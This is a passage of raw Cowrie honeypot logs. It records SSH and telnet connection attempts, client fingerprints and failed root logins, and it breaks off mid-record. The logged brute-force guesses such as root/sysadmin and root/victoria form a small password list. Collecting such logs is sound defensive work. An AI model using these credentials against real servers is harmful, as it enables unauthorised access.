{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:02.099793Z","src_ip":"43.153.50.197","session":"78b5311d01f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:02.170220Z","src_ip":"43.153.50.197","session":"78b5311d01f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sysadmin","message":"login attempt [root/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:02.487656Z","src_ip":"43.153.50.197","session":"78b5311d01f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:03.565955Z","src_ip":"43.153.50.197","session":"78b5311d01f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":35402,"dst_ip":"10.17.0.5","dst_port":22,"session":"3163b73be74d","protocol":"ssh","message":"New connection: 43.134.1.45:35402 (10.17.0.5:22) [session: 3163b73be74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:04.837102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:04.842486Z","src_ip":"43.134.1.45","session":"3163b73be74d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:05.079613Z","src_ip":"43.134.1.45","session":"3163b73be74d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"backoffice","message":"login attempt [root/backoffice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:06.058551Z","src_ip":"43.134.1.45","session":"3163b73be74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:07.299659Z","src_ip":"43.134.1.45","session":"3163b73be74d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":41752,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1f1f77fe21e","protocol":"ssh","message":"New connection: 103.27.238.114:41752 (159.203.135.109:22) [session: c1f1f77fe21e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:10.245623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:10.251106Z","src_ip":"103.27.238.114","session":"c1f1f77fe21e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:10.528182Z","src_ip":"103.27.238.114","session":"c1f1f77fe21e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kifj9n7bfu","message":"login attempt [root/kifj9n7bfu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:11.353020Z","src_ip":"103.27.238.114","session":"c1f1f77fe21e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:12.630739Z","src_ip":"103.27.238.114","session":"c1f1f77fe21e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":42548,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb8aa14ac4c5","protocol":"ssh","message":"New connection: 43.128.112.183:42548 (10.17.0.5:22) [session: bb8aa14ac4c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:16.452896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:16.458643Z","src_ip":"43.128.112.183","session":"bb8aa14ac4c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:16.705450Z","src_ip":"43.128.112.183","session":"bb8aa14ac4c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2085","message":"login attempt [root/2085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:17.724849Z","src_ip":"43.128.112.183","session":"bb8aa14ac4c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:18.973670Z","src_ip":"43.128.112.183","session":"bb8aa14ac4c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":57642,"dst_ip":"10.17.0.5","dst_port":22,"session":"cedf81b5b718","protocol":"ssh","message":"New connection: 213.209.159.158:57642 (10.17.0.5:22) [session: cedf81b5b718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:26.962337Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":42266,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1f867b450e4","protocol":"ssh","message":"New connection: 43.173.83.154:42266 (10.17.0.5:22) [session: f1f867b450e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:28.003250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:28.008258Z","src_ip":"43.173.83.154","session":"f1f867b450e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:28.077207Z","src_ip":"43.173.83.154","session":"f1f867b450e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2083","message":"login attempt [root/2083] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:28.383493Z","src_ip":"43.173.83.154","session":"f1f867b450e4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:28.494403Z","src_ip":"213.209.159.158","session":"cedf81b5b718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:28.498232Z","src_ip":"213.209.159.158","session":"cedf81b5b718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:29.457493Z","src_ip":"43.173.83.154","session":"f1f867b450e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53610,"dst_ip":"10.17.0.5","dst_port":23,"session":"a82e16d5badd","protocol":"telnet","message":"New connection: 192.119.13.58:53610 (10.17.0.5:23) [session: a82e16d5badd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:33.516618Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":45542,"dst_ip":"10.17.0.5","dst_port":22,"session":"17fc52aa1462","protocol":"ssh","message":"New connection: 147.45.211.215:45542 (10.17.0.5:22) [session: 17fc52aa1462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:35.919659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:35.925266Z","src_ip":"147.45.211.215","session":"17fc52aa1462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:36.101114Z","src_ip":"147.45.211.215","session":"17fc52aa1462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victoria","message":"login attempt [root/victoria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:36.630396Z","src_ip":"147.45.211.215","session":"17fc52aa1462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:37.814630Z","src_ip":"147.45.211.215","session":"17fc52aa1462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":39076,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ccf693f7117","protocol":"ssh","message":"New connection: 103.75.183.219:39076 (10.17.0.5:22) [session: 3ccf693f7117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:39.201107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:39.210044Z","src_ip":"103.75.183.219","session":"3ccf693f7117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:39.449013Z","src_ip":"103.75.183.219","session":"3ccf693f7117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233a","message":"login attempt [root/112233a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:40.166890Z","src_ip":"103.75.183.219","session":"3ccf693f7117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:41.409389Z","src_ip":"103.75.183.219","session":"3ccf693f7117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":35308,"dst_ip":"10.17.0.5","dst_port":22,"session":"201bb012d405","protocol":"ssh","message":"New connection: 43.156.136.152:35308 (10.17.0.5:22) [session: 201bb012d405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:41.817152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:41.822816Z","src_ip":"43.156.136.152","session":"201bb012d405","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 